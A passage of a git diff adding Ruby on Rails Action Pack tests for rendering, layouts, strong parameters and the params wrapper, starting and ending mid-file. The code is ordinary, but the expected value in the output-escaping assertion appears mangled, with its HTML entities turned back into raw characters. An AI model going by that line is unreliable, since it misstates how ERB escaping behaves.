+ render :template => "locals", :locals => { :secret => 'area51' }
+ end
+
+ def builder_template
+ render :template => "xml_template"
+ end
+
+ def with_raw
+ render :template => "with_raw"
+ end
+
+ def with_implicit_raw
+ render :template => "with_implicit_raw"
+ end
+
+ def with_error
+ render :template => "test/with_error"
+ end
+
+ private
+
+ def show_detailed_exceptions?
+ request.local?
+ end
+ end
+
+ class TestWithoutLayout < Rack::TestCase
+ testing RenderTemplate::WithoutLayoutController
+
+ test "rendering a normal template with full path without layout" do
+ get :index
+ assert_response "Hello from basic.html.erb"
+ end
+
+ test "rendering a normal template with full path without layout without key" do
+ get :index_without_key
+ assert_response "Hello from basic.html.erb"
+ end
+
+ test "rendering a template not in a subdirectory" do
+ get :in_top_directory
+ assert_response "Elastica"
+ end
+
+ test "rendering a template not in a subdirectory with a leading slash" do
+ get :in_top_directory_with_slash
+ assert_response "Elastica"
+ end
+
+ test "rendering a template not in a subdirectory with a leading slash without key" do
+ get :in_top_directory_with_slash_without_key
+ assert_response "Elastica"
+ end
+
+ test "rendering a template with local variables" do
+ get :with_locals
+ assert_response "The secret is area51"
+ end
+
+ test "rendering a builder template" do
+ get :builder_template, "format" => "xml"
+ assert_response "<html>\n <p>Hello</p>\n</html>\n"
+ end
+
+ test "rendering a template with <%=raw stuff %>" do
+ get :with_raw
+
+ assert_body "Hello <strong>this is raw</strong>"
+ assert_status 200
+
+ get :with_implicit_raw
+
+ assert_body "Hello <strong>this is also raw</strong> in a html template"
+ assert_status 200
+
+ get :with_implicit_raw, format: 'text'
+
+ assert_body "Hello <strong>this is also raw</strong> in a text template"
+ assert_status 200
+ end
+
+ test "rendering a template with renders another template with other format that renders other template in the same format" do
+ get :html_with_json_inside_json
+ assert_content_type "text/html; charset=utf-8"
+ assert_response "{ final: json }"
+ end
+
+ test "rendering a template with error properly excerts the code" do
+ get :with_error
+ assert_status 500
+ assert_match "undefined local variable or method `idontexist", response.body
+ end
+ end
+
+ class WithLayoutController < ::ApplicationController
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "test/basic.html.erb" => "Hello from basic.html.erb",
+ "shared.html.erb" => "Elastica",
+ "layouts/application.html.erb" => "<%= yield %>, I'm here!",
+ "layouts/greetings.html.erb" => "<%= yield %>, I wish thee well."
+ )]
+
+ def index
+ render :template => "test/basic"
+ end
+
+ def with_layout
+ render :template => "test/basic", :layout => true
+ end
+
+ def with_layout_false
+ render :template => "test/basic", :layout => false
+ end
+
+ def with_layout_nil
+ render :template => "test/basic", :layout => nil
+ end
+
+ def with_custom_layout
+ render :template => "test/basic", :layout => "greetings"
+ end
+ end
+
+ class TestWithLayout < Rack::TestCase
+ test "rendering with implicit layout" do
+ with_routing do |set|
+ set.draw { get ':controller', :action => :index }
+
+ get "/render_template/with_layout"
+
+ assert_body "Hello from basic.html.erb, I'm here!"
+ assert_status 200
+ end
+ end
+
+ test "rendering with layout => :true" do
+ get "/render_template/with_layout/with_layout"
+
+ assert_body "Hello from basic.html.erb, I'm here!"
+ assert_status 200
+ end
+
+ test "rendering with layout => :false" do
+ get "/render_template/with_layout/with_layout_false"
+
+ assert_body "Hello from basic.html.erb"
+ assert_status 200
+ end
+
+ test "rendering with layout => :nil" do
+ get "/render_template/with_layout/with_layout_nil"
+
+ assert_body "Hello from basic.html.erb"
+ assert_status 200
+ end
+
+ test "rendering layout => 'greetings'" do
+ get "/render_template/with_layout/with_custom_layout"
+
+ assert_body "Hello from basic.html.erb, I wish thee well."
+ assert_status 200
+ end
+ end
+
+ module Compatibility
+ class WithoutLayoutController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "test/basic.html.erb" => "Hello from basic.html.erb",
+ "shared.html.erb" => "Elastica"
+ )]
+
+ def with_forward_slash
+ render :template => "/test/basic"
+ end
+ end
+
+ class TestTemplateRenderWithForwardSlash < Rack::TestCase
+ test "rendering a normal template with full path starting with a leading slash" do
+ get "/render_template/compatibility/without_layout/with_forward_slash"
+
+ assert_body "Hello from basic.html.erb"
+ assert_status 200
+ end
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_test.rb b/actionpack/test/controller/new_base/render_test.rb
new file mode 100644
index 0000000..5635e16
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_test.rb
@@ -0,0 +1,136 @@
+require 'abstract_unit'
+
+module Render
+ class BlankRenderController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "render/blank_render/index.html.erb" => "Hello world!",
+ "render/blank_render/access_request.html.erb" => "The request: <%= request.method.to_s.upcase %>",
+ "render/blank_render/access_action_name.html.erb" => "Action Name: <%= action_name %>",
+ "render/blank_render/access_controller_name.html.erb" => "Controller Name: <%= controller_name %>",
+ "render/blank_render/overridden_with_own_view_paths_appended.html.erb" => "parent content",
+ "render/blank_render/overridden_with_own_view_paths_prepended.html.erb" => "parent content",
+ "render/blank_render/overridden.html.erb" => "parent content",
+ "render/child_render/overridden.html.erb" => "child content"
+ )]
+
+ def index
+ render
+ end
+
+ def access_request
+ render :action => "access_request"
+ end
+
+ def render_action_name
+ render :action => "access_action_name"
+ end
+
+ def overridden_with_own_view_paths_appended
+ end
+
+ def overridden_with_own_view_paths_prepended
+ end
+
+ def overridden
+ end
+
+ private
+
+ def secretz
+ render :text => "FAIL WHALE!"
+ end
+ end
+
+ class DoubleRenderController < ActionController::Base
+ def index
+ render :text => "hello"
+ render :text => "world"
+ end
+ end
+
+ class ChildRenderController < BlankRenderController
+ append_view_path ActionView::FixtureResolver.new("render/child_render/overridden_with_own_view_paths_appended.html.erb" => "child content")
+ prepend_view_path ActionView::FixtureResolver.new("render/child_render/overridden_with_own_view_paths_prepended.html.erb" => "child content")
+ end
+
+ class RenderTest < Rack::TestCase
+ test "render with blank" do
+ with_routing do |set|
+ set.draw do
+ get ":controller", :action => 'index'
+ end
+
+ get "/render/blank_render"
+
+ assert_body "Hello world!"
+ assert_status 200
+ end
+ end
+
+ test "rendering more than once raises an exception" do
+ with_routing do |set|
+ set.draw do
+ get ":controller", :action => 'index'
+ end
+
+ assert_raises(AbstractController::DoubleRenderError) do
+ get "/render/double_render", {}, "action_dispatch.show_exceptions" => false
+ end
+ end
+ end
+ end
+
+ class TestOnlyRenderPublicActions < Rack::TestCase
+ # Only public methods on actual controllers are callable actions
+ test "raises an exception when a method of Object is called" do
+ assert_raises(AbstractController::ActionNotFound) do
+ get "/render/blank_render/clone", {}, "action_dispatch.show_exceptions" => false
+ end
+ end
+
+ test "raises an exception when a private method is called" do
+ assert_raises(AbstractController::ActionNotFound) do
+ get "/render/blank_render/secretz", {}, "action_dispatch.show_exceptions" => false
+ end
+ end
+ end
+
+ class TestVariousObjectsAvailableInView < Rack::TestCase
+ test "The request object is accessible in the view" do
+ get "/render/blank_render/access_request"
+ assert_body "The request: GET"
+ end
+
+ test "The action_name is accessible in the view" do
+ get "/render/blank_render/render_action_name"
+ assert_body "Action Name: render_action_name"
+ end
+
+ test "The controller_name is accessible in the view" do
+ get "/render/blank_render/access_controller_name"
+ assert_body "Controller Name: blank_render"
+ end
+ end
+
+ class TestViewInheritance < Rack::TestCase
+ test "Template from child controller gets picked over parent one" do
+ get "/render/child_render/overridden"
+ assert_body "child content"
+ end
+
+ test "Template from child controller with custom view_paths prepended gets picked over parent one" do
+ get "/render/child_render/overridden_with_own_view_paths_prepended"
+ assert_body "child content"
+ end
+
+ test "Template from child controller with custom view_paths appended gets picked over parent one" do
+ get "/render/child_render/overridden_with_own_view_paths_appended"
+ assert_body "child content"
+ end
+
+ test "Template from parent controller gets picked if missing in child controller" do
+ get "/render/child_render/index"
+ assert_body "Hello world!"
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_text_test.rb b/actionpack/test/controller/new_base/render_text_test.rb
new file mode 100644
index 0000000..d6c3926
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_text_test.rb
@@ -0,0 +1,143 @@
+require 'abstract_unit'
+
+module RenderText
+ class SimpleController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new]
+
+ def index
+ render :text => "hello david"
+ end
+ end
+
+ class WithLayoutController < ::ApplicationController
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "layouts/application.html.erb" => "<%= yield %>, I'm here!",
+ "layouts/greetings.html.erb" => "<%= yield %>, I wish thee well.",
+ "layouts/ivar.html.erb" => "<%= yield %>, <%= @ivar %>"
+ )]
+
+ def index
+ render :text => "hello david"
+ end
+
+ def custom_code
+ render :text => "hello world", :status => 404
+ end
+
+ def with_custom_code_as_string
+ render :text => "hello world", :status => "404 Not Found"
+ end
+
+ def with_nil
+ render :text => nil
+ end
+
+ def with_nil_and_status
+ render :text => nil, :status => 403
+ end
+
+ def with_false
+ render :text => false
+ end
+
+ def with_layout_true
+ render :text => "hello world", :layout => true
+ end
+
+ def with_layout_false
+ render :text => "hello world", :layout => false
+ end
+
+ def with_layout_nil
+ render :text => "hello world", :layout => nil
+ end
+
+ def with_custom_layout
+ render :text => "hello world", :layout => "greetings"
+ end
+
+ def with_ivar_in_layout
+ @ivar = "hello world"
+ render :text => "hello world", :layout => "ivar"
+ end
+ end
+
+ class RenderTextTest < Rack::TestCase
+ test "rendering text from an action with default options renders the text with the layout" do
+ with_routing do |set|
+ set.draw { get ':controller', :action => 'index' }
+
+ get "/render_text/simple"
+ assert_body "hello david"
+ assert_status 200
+ end
+ end
+
+ test "rendering text from an action with default options renders the text without the layout" do
+ with_routing do |set|
+ set.draw { get ':controller', :action => 'index' }
+
+ get "/render_text/with_layout"
+
+ assert_body "hello david"
+ assert_status 200
+ end
+ end
+
+ test "rendering text, while also providing a custom status code" do
+ get "/render_text/with_layout/custom_code"
+
+ assert_body "hello world"
+ assert_status 404
+ end
+
+ test "rendering text with nil returns an empty body padded for Safari" do
+ get "/render_text/with_layout/with_nil"
+
+ assert_body " "
+ assert_status 200
+ end
+
+ test "Rendering text with nil and custom status code returns an empty body padded for Safari and the status" do
+ get "/render_text/with_layout/with_nil_and_status"
+
+ assert_body " "
+ assert_status 403
+ end
+
+ test "rendering text with false returns the string 'false'" do
+ get "/render_text/with_layout/with_false"
+
+ assert_body "false"
+ assert_status 200
+ end
+
+ test "rendering text with :layout => true" do
+ get "/render_text/with_layout/with_layout_true"
+
+ assert_body "hello world, I'm here!"
+ assert_status 200
+ end
+
+ test "rendering text with :layout => 'greetings'" do
+ get "/render_text/with_layout/with_custom_layout"
+
+ assert_body "hello world, I wish thee well."
+ assert_status 200
+ end
+
+ test "rendering text with :layout => false" do
+ get "/render_text/with_layout/with_layout_false"
+
+ assert_body "hello world"
+ assert_status 200
+ end
+
+ test "rendering text with :layout => nil" do
+ get "/render_text/with_layout/with_layout_nil"
+
+ assert_body "hello world"
+ assert_status 200
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_xml_test.rb b/actionpack/test/controller/new_base/render_xml_test.rb
new file mode 100644
index 0000000..b8527a9
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_xml_test.rb
@@ -0,0 +1,11 @@
+require 'abstract_unit'
+
+module RenderXml
+
+ # This has no layout and it works
+ class BasicController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "render_xml/basic/with_render_erb" => "Hello world!"
+ )]
+ end
+end
diff --git a/actionpack/test/controller/output_escaping_test.rb b/actionpack/test/controller/output_escaping_test.rb
new file mode 100644
index 0000000..c3c549f
--- /dev/null
+++ b/actionpack/test/controller/output_escaping_test.rb
@@ -0,0 +1,17 @@
+require 'abstract_unit'
+
+class OutputEscapingTest < ActiveSupport::TestCase
+
+ test "escape_html shouldn't die when passed nil" do
+ assert ERB::Util.h(nil).blank?
+ end
+
+ test "escapeHTML should escape strings" do
+ assert_equal "<>"", ERB::Util.h("<>\"")
+ end
+
+ test "escapeHTML shouldn't touch explicitly safe strings" do
+ assert_equal "<", ERB::Util.h("<".html_safe)
+ end
+
+end
diff --git a/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb b/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb
new file mode 100644
index 0000000..22e603b
--- /dev/null
+++ b/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb
@@ -0,0 +1,50 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+
+class LogOnUnpermittedParamsTest < ActiveSupport::TestCase
+ def setup
+ ActionController::Parameters.action_on_unpermitted_parameters = :log
+ end
+
+ def teardown
+ ActionController::Parameters.action_on_unpermitted_parameters = false
+ end
+
+ test "logs on unexpected params" do
+ params = ActionController::Parameters.new({
+ book: { pages: 65 },
+ fishing: "Turnips"
+ })
+
+ assert_logged("Unpermitted parameters: fishing") do
+ params.permit(book: [:pages])
+ end
+ end
+
+ test "logs on unexpected nested params" do
+ params = ActionController::Parameters.new({
+ book: { pages: 65, title: "Green Cats and where to find then." }
+ })
+
+ assert_logged("Unpermitted parameters: title") do
+ params.permit(book: [:pages])
+ end
+ end
+
+ private
+
+ def assert_logged(message)
+ old_logger = ActionController::Base.logger
+ log = StringIO.new
+ ActionController::Base.logger = Logger.new(log)
+
+ begin
+ yield
+
+ log.rewind
+ assert_match message, log.read
+ ensure
+ ActionController::Base.logger = old_logger
+ end
+ end
+end
diff --git a/actionpack/test/controller/parameters/multi_parameter_attributes_test.rb b/actionpack/test/controller/parameters/multi_parameter_attributes_test.rb
new file mode 100644
index 0000000..1533805
--- /dev/null
+++ b/actionpack/test/controller/parameters/multi_parameter_attributes_test.rb
@@ -0,0 +1,38 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+
+class MultiParameterAttributesTest < ActiveSupport::TestCase
+ test "permitted multi-parameter attribute keys" do
+ params = ActionController::Parameters.new({
+ book: {
+ "shipped_at(1i)" => "2012",
+ "shipped_at(2i)" => "3",
+ "shipped_at(3i)" => "25",
+ "shipped_at(4i)" => "10",
+ "shipped_at(5i)" => "15",
+ "published_at(1i)" => "1999",
+ "published_at(2i)" => "2",
+ "published_at(3i)" => "5",
+ "price(1)" => "R$",
+ "price(2f)" => "2.02"
+ }
+ })
+
+ permitted = params.permit book: [ :shipped_at, :price ]
+
+ assert permitted.permitted?
+
+ assert_equal "2012", permitted[:book]["shipped_at(1i)"]
+ assert_equal "3", permitted[:book]["shipped_at(2i)"]
+ assert_equal "25", permitted[:book]["shipped_at(3i)"]
+ assert_equal "10", permitted[:book]["shipped_at(4i)"]
+ assert_equal "15", permitted[:book]["shipped_at(5i)"]
+
+ assert_equal "R$", permitted[:book]["price(1)"]
+ assert_equal "2.02", permitted[:book]["price(2f)"]
+
+ assert_nil permitted[:book]["published_at(1i)"]
+ assert_nil permitted[:book]["published_at(2i)"]
+ assert_nil permitted[:book]["published_at(3i)"]
+ end
+end
diff --git a/actionpack/test/controller/parameters/nested_parameters_test.rb b/actionpack/test/controller/parameters/nested_parameters_test.rb
new file mode 100644
index 0000000..91df527
--- /dev/null
+++ b/actionpack/test/controller/parameters/nested_parameters_test.rb
@@ -0,0 +1,172 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+
+class NestedParametersTest < ActiveSupport::TestCase
+ def assert_filtered_out(params, key)
+ assert !params.has_key?(key), "key #{key.inspect} has not been filtered out"
+ end
+
+ test "permitted nested parameters" do
+ params = ActionController::Parameters.new({
+ book: {
+ title: "Romeo and Juliet",
+ authors: [{
+ name: "William Shakespeare",
+ born: "1564-04-26"
+ }, {
+ name: "Christopher Marlowe"
+ }, {
+ name: %w(malicious injected names)
+ }],
+ details: {
+ pages: 200,
+ genre: "Tragedy"
+ },
+ id: {
+ isbn: 'x'
+ }
+ },
+ magazine: "Mjallo!"
+ })
+
+ permitted = params.permit book: [ :title, { authors: [ :name ] }, { details: :pages }, :id ]
+
+ assert permitted.permitted?
+ assert_equal "Romeo and Juliet", permitted[:book][:title]
+ assert_equal "William Shakespeare", permitted[:book][:authors][0][:name]
+ assert_equal "Christopher Marlowe", permitted[:book][:authors][1][:name]
+ assert_equal 200, permitted[:book][:details][:pages]
+
+ assert_filtered_out permitted, :magazine
+ assert_filtered_out permitted[:book], :id
+ assert_filtered_out permitted[:book][:details], :genre
+ assert_filtered_out permitted[:book][:authors][0], :born
+ assert_filtered_out permitted[:book][:authors][2], :name
+ end
+
+ test "permitted nested parameters with a string or a symbol as a key" do
+ params = ActionController::Parameters.new({
+ book: {
+ 'authors' => [
+ { name: 'William Shakespeare', born: '1564-04-26' },
+ { name: 'Christopher Marlowe' }
+ ]
+ }
+ })
+
+ permitted = params.permit book: [ { 'authors' => [ :name ] } ]
+
+ assert_equal 'William Shakespeare', permitted[:book]['authors'][0][:name]
+ assert_equal 'William Shakespeare', permitted[:book][:authors][0][:name]
+ assert_equal 'Christopher Marlowe', permitted[:book]['authors'][1][:name]
+ assert_equal 'Christopher Marlowe', permitted[:book][:authors][1][:name]
+
+ permitted = params.permit book: [ { authors: [ :name ] } ]
+
+ assert_equal 'William Shakespeare', permitted[:book]['authors'][0][:name]
+ assert_equal 'William Shakespeare', permitted[:book][:authors][0][:name]
+ assert_equal 'Christopher Marlowe', permitted[:book]['authors'][1][:name]
+ assert_equal 'Christopher Marlowe', permitted[:book][:authors][1][:name]
+ end
+
+ test "nested arrays with strings" do
+ params = ActionController::Parameters.new({
+ book: {
+ genres: ["Tragedy"]
+ }
+ })
+
+ permitted = params.permit book: {genres: []}
+ assert_equal ["Tragedy"], permitted[:book][:genres]
+ end
+
+ test "permit may specify symbols or strings" do
+ params = ActionController::Parameters.new({
+ book: {
+ title: "Romeo and Juliet",
+ author: "William Shakespeare"
+ },
+ magazine: "Shakespeare Today"
+ })
+
+ permitted = params.permit({book: ["title", :author]}, "magazine")
+ assert_equal "Romeo and Juliet", permitted[:book][:title]
+ assert_equal "William Shakespeare", permitted[:book][:author]
+ assert_equal "Shakespeare Today", permitted[:magazine]
+ end
+
+ test "nested array with strings that should be hashes" do
+ params = ActionController::Parameters.new({
+ book: {
+ genres: ["Tragedy"]
+ }
+ })
+
+ permitted = params.permit book: { genres: :type }
+ assert_empty permitted[:book][:genres]
+ end
+
+ test "nested array with strings that should be hashes and additional values" do
+ params = ActionController::Parameters.new({
+ book: {
+ title: "Romeo and Juliet",
+ genres: ["Tragedy"]
+ }
+ })
+
+ permitted = params.permit book: [ :title, { genres: :type } ]
+ assert_equal "Romeo and Juliet", permitted[:book][:title]
+ assert_empty permitted[:book][:genres]
+ end
+
+ test "nested string that should be a hash" do
+ params = ActionController::Parameters.new({
+ book: {
+ genre: "Tragedy"
+ }
+ })
+
+ permitted = params.permit book: { genre: :type }
+ assert_nil permitted[:book][:genre]
+ end
+
+ test "fields_for-style nested params" do
+ params = ActionController::Parameters.new({
+ book: {
+ authors_attributes: {
+ :'0' => { name: 'William Shakespeare', age_of_death: '52' },
+ :'1' => { name: 'Unattributed Assistant' },
+ :'2' => { name: %w(injected names)}
+ }
+ }
+ })
+ permitted = params.permit book: { authors_attributes: [ :name ] }
+
+ assert_not_nil permitted[:book][:authors_attributes]['0']
+ assert_not_nil permitted[:book][:authors_attributes]['1']
+ assert_empty permitted[:book][:authors_attributes]['2']
+ assert_equal 'William Shakespeare', permitted[:book][:authors_attributes]['0'][:name]
+ assert_equal 'Unattributed Assistant', permitted[:book][:authors_attributes]['1'][:name]
+
+ assert_filtered_out permitted[:book][:authors_attributes]['0'], :age_of_death
+ end
+
+ test "fields_for-style nested params with negative numbers" do
+ params = ActionController::Parameters.new({
+ book: {
+ authors_attributes: {
+ :'-1' => { name: 'William Shakespeare', age_of_death: '52' },
+ :'-2' => { name: 'Unattributed Assistant' }
+ }
+ }
+ })
+ permitted = params.permit book: { authors_attributes: [:name] }
+
+ assert_not_nil permitted[:book][:authors_attributes]['-1']
+ assert_not_nil permitted[:book][:authors_attributes]['-2']
+ assert_equal 'William Shakespeare', permitted[:book][:authors_attributes]['-1'][:name]
+ assert_equal 'Unattributed Assistant', permitted[:book][:authors_attributes]['-2'][:name]
+
+ assert_filtered_out permitted[:book][:authors_attributes]['-1'], :age_of_death
+ end
+end
diff --git a/actionpack/test/controller/parameters/parameters_permit_test.rb b/actionpack/test/controller/parameters/parameters_permit_test.rb
new file mode 100644
index 0000000..437da43
--- /dev/null
+++ b/actionpack/test/controller/parameters/parameters_permit_test.rb
@@ -0,0 +1,228 @@
+require 'abstract_unit'
+require 'action_dispatch/http/upload'
+require 'action_controller/metal/strong_parameters'
+
+class ParametersPermitTest < ActiveSupport::TestCase
+ def assert_filtered_out(params, key)
+ assert !params.has_key?(key), "key #{key.inspect} has not been filtered out"
+ end
+
+ setup do
+ @params = ActionController::Parameters.new({ person: {
+ age: "32", name: { first: "David", last: "Heinemeier Hansson" }
+ }})
+
+ @struct_fields = []
+ %w(0 1 12).each do |number|
+ ['', 'i', 'f'].each do |suffix|
+ @struct_fields << "sf(#{number}#{suffix})"
+ end
+ end
+ end
+
+ test 'if nothing is permitted, the hash becomes empty' do
+ params = ActionController::Parameters.new(id: '1234')
+ permitted = params.permit
+ assert permitted.permitted?
+ assert permitted.empty?
+ end
+
+ test 'key: permitted scalar values' do
+ values = ['a', :a, nil]
+ values += [0, 1.0, 2**128, BigDecimal.new(1)]
+ values += [true, false]
+ values += [Date.today, Time.now, DateTime.now]
+ values += [STDOUT, StringIO.new, ActionDispatch::Http::UploadedFile.new(tempfile: __FILE__),
+ Rack::Test::UploadedFile.new(__FILE__)]
+
+ values.each do |value|
+ params = ActionController::Parameters.new(id: value)
+ permitted = params.permit(:id)
+ assert_equal value, permitted[:id]
+
+ @struct_fields.each do |sf|
+ params = ActionController::Parameters.new(sf => value)
+ permitted = params.permit(:sf)
+ assert_equal value, permitted[sf]
+ end
+ end
+ end
+
+ test 'key: unknown keys are filtered out' do
+ params = ActionController::Parameters.new(id: '1234', injected: 'injected')
+ permitted = params.permit(:id)
+ assert_equal '1234', permitted[:id]
+ assert_filtered_out permitted, :injected
+ end
+
+ test 'key: arrays are filtered out' do
+ [[], [1], ['1']].each do |array|
+ params = ActionController::Parameters.new(id: array)
+ permitted = params.permit(:id)
+ assert_filtered_out permitted, :id
+
+ @struct_fields.each do |sf|
+ params = ActionController::Parameters.new(sf => array)
+ permitted = params.permit(:sf)
+ assert_filtered_out permitted, sf
+ end
+ end
+ end
+
+ test 'key: hashes are filtered out' do
+ [{}, {foo: 1}, {foo: 'bar'}].each do |hash|
+ params = ActionController::Parameters.new(id: hash)
+ permitted = params.permit(:id)
+ assert_filtered_out permitted, :id
+
+ @struct_fields.each do |sf|
+ params = ActionController::Parameters.new(sf => hash)
+ permitted = params.permit(:sf)
+ assert_filtered_out permitted, sf
+ end
+ end
+ end
+
+ test 'key: non-permitted scalar values are filtered out' do
+ params = ActionController::Parameters.new(id: Object.new)
+ permitted = params.permit(:id)
+ assert_filtered_out permitted, :id
+
+ @struct_fields.each do |sf|
+ params = ActionController::Parameters.new(sf => Object.new)
+ permitted = params.permit(:sf)
+ assert_filtered_out permitted, sf
+ end
+ end
+
+ test 'key: it is not assigned if not present in params' do
+ params = ActionController::Parameters.new(name: 'Joe')
+ permitted = params.permit(:id)
+ assert !permitted.has_key?(:id)
+ end
+
+ test 'key to empty array: empty arrays pass' do
+ params = ActionController::Parameters.new(id: [])
+ permitted = params.permit(id: [])
+ assert_equal [], permitted[:id]
+ end
+
+ test 'key to empty array: arrays of permitted scalars pass' do
+ [['foo'], [1], ['foo', 'bar'], [1, 2, 3]].each do |array|
+ params = ActionController::Parameters.new(id: array)
+ permitted = params.permit(id: [])
+ assert_equal array, permitted[:id]
+ end
+ end
+
+ test 'key to empty array: permitted scalar values do not pass' do
+ ['foo', 1].each do |permitted_scalar|
+ params = ActionController::Parameters.new(id: permitted_scalar)
+ permitted = params.permit(id: [])
+ assert_filtered_out permitted, :id
+ end
+ end
+
+ test 'key to empty array: arrays of non-permitted scalar do not pass' do
+ [[Object.new], [[]], [[1]], [{}], [{id: '1'}]].each do |non_permitted_scalar|
+ params = ActionController::Parameters.new(id: non_permitted_scalar)
+ permitted = params.permit(id: [])
+ assert_filtered_out permitted, :id
+ end
+ end
+
+ test "fetch raises ParameterMissing exception" do
+ e = assert_raises(ActionController::ParameterMissing) do
+ @params.fetch :foo
+ end
+ assert_equal :foo, e.param
+ end
+
+ test "fetch doesnt raise ParameterMissing exception if there is a default" do
+ assert_equal "monkey", @params.fetch(:foo, "monkey")
+ assert_equal "monkey", @params.fetch(:foo) { "monkey" }
+ end
+
+ test "not permitted is sticky on accessors" do
+ assert !@params.slice(:person).permitted?
+ assert !@params[:person][:name].permitted?
+ assert !@params[:person].except(:name).permitted?
+
+ @params.each { |key, value| assert(!value.permitted?) if key == "person" }
+
+ assert !@params.fetch(:person).permitted?
+
+ assert !@params.values_at(:person).first.permitted?
+ end
+
+ test "permitted is sticky on accessors" do
+ @params.permit!
+ assert @params.slice(:person).permitted?
+ assert @params[:person][:name].permitted?
+ assert @params[:person].except(:name).permitted?
+
+ @params.each { |key, value| assert(value.permitted?) if key == "person" }
+
+ assert @params.fetch(:person).permitted?
+
+ assert @params.values_at(:person).first.permitted?
+ end
+
+ test "not permitted is sticky on mutators" do
+ assert !@params.delete_if { |k| k == "person" }.permitted?
+ assert !@params.keep_if { |k,v| k == "person" }.permitted?
+ end
+
+ test "permitted is sticky on mutators" do
+ @params.permit!
+ assert @params.delete_if { |k| k == "person" }.permitted?
+ assert @params.keep_if { |k,v| k == "person" }.permitted?
+ end
+
+ test "not permitted is sticky beyond merges" do
+ assert !@params.merge(a: "b").permitted?
+ end
+
+ test "permitted is sticky beyond merges" do
+ @params.permit!
+ assert @params.merge(a: "b").permitted?
+ end
+
+ test "modifying the parameters" do
+ @params[:person][:hometown] = "Chicago"
+ @params[:person][:family] = { brother: "Jonas" }
+
+ assert_equal "Chicago", @params[:person][:hometown]
+ assert_equal "Jonas", @params[:person][:family][:brother]
+ end
+
+ test "permit state is kept on a dup" do
+ @params.permit!
+ assert_equal @params.permitted?, @params.dup.permitted?
+ end
+
+ test "permit is recursive" do
+ @params.permit!
+ assert @params.permitted?
+ assert @params[:person].permitted?
+ assert @params[:person][:name].permitted?
+ end
+
+ test "permitted takes a default value when Parameters.permit_all_parameters is set" do
+ begin
+ ActionController::Parameters.permit_all_parameters = true
+ params = ActionController::Parameters.new({ person: {
+ age: "32", name: { first: "David", last: "Heinemeier Hansson" }
+ }})
+
+ assert params.slice(:person).permitted?
+ assert params[:person][:name].permitted?
+ ensure
+ ActionController::Parameters.permit_all_parameters = false
+ end
+ end
+
+ test "permitting parameters as an array" do
+ assert_equal "32", @params[:person].permit([ :age ])[:age]
+ end
+end
diff --git a/actionpack/test/controller/parameters/parameters_require_test.rb b/actionpack/test/controller/parameters/parameters_require_test.rb
new file mode 100644
index 0000000..bdaba8d
--- /dev/null
+++ b/actionpack/test/controller/parameters/parameters_require_test.rb
@@ -0,0 +1,10 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+
+class ParametersRequireTest < ActiveSupport::TestCase
+ test "required parameters must be present not merely not nil" do
+ assert_raises(ActionController::ParameterMissing) do
+ ActionController::Parameters.new(person: {}).require(:person)
+ end
+ end
+end
diff --git a/actionpack/test/controller/parameters/raise_on_unpermitted_params_test.rb b/actionpack/test/controller/parameters/raise_on_unpermitted_params_test.rb
new file mode 100644
index 0000000..f9cc9f9
--- /dev/null
+++ b/actionpack/test/controller/parameters/raise_on_unpermitted_params_test.rb
@@ -0,0 +1,33 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+
+class RaiseOnUnpermittedParamsTest < ActiveSupport::TestCase
+ def setup
+ ActionController::Parameters.action_on_unpermitted_parameters = :raise
+ end
+
+ def teardown
+ ActionController::Parameters.action_on_unpermitted_parameters = false
+ end
+
+ test "raises on unexpected params" do
+ params = ActionController::Parameters.new({
+ book: { pages: 65 },
+ fishing: "Turnips"
+ })
+
+ assert_raises(ActionController::UnpermittedParameters) do
+ params.permit(book: [:pages])
+ end
+ end
+
+ test "raises on unexpected nested params" do
+ params = ActionController::Parameters.new({
+ book: { pages: 65, title: "Green Cats and where to find then." }
+ })
+
+ assert_raises(ActionController::UnpermittedParameters) do
+ params.permit(book: [:pages])
+ end
+ end
+end
diff --git a/actionpack/test/controller/params_wrapper_test.rb b/actionpack/test/controller/params_wrapper_test.rb
new file mode 100644
index 0000000..d87e2b8
--- /dev/null
+++ b/actionpack/test/controller/params_wrapper_test.rb
@@ -0,0 +1,330 @@
+require 'abstract_unit'
+
+module Admin; class User; end; end
+
+module ParamsWrapperTestHelp
+ def with_default_wrapper_options(&block)
+ @controller.class._set_wrapper_options({:format => [:json]})
+ @controller.class.inherited(@controller.class)
+ yield
+ end
+
+ def assert_parameters(expected)
+ assert_equal expected, self.class.controller_class.last_parameters
+ end
+end
+
+class ParamsWrapperTest < ActionController::TestCase
+ include ParamsWrapperTestHelp
+
+ class UsersController < ActionController::Base
+ class << self
+ attr_accessor :last_parameters
+ end
+
+ def parse
+ self.class.last_parameters = request.params.except(:controller, :action)
+ head :ok
+ end
+ end
+
+ class User; end
+ class Person; end
+
+ tests UsersController
+
+ def teardown
+ UsersController.last_parameters = nil
+ end
+
+ def test_filtered_parameters
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu' }
+ assert_equal @request.filtered_parameters, { 'controller' => 'params_wrapper_test/users', 'action' => 'parse', 'username' => 'sikachu', 'user' => { 'username' => 'sikachu' } }
+ end
+ end
+
+ def test_derived_name_from_controller
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu' }
+ assert_parameters({ 'username' => 'sikachu', 'user' => { 'username' => 'sikachu' }})
+ end
+ end
+
+ def test_specify_wrapper_name
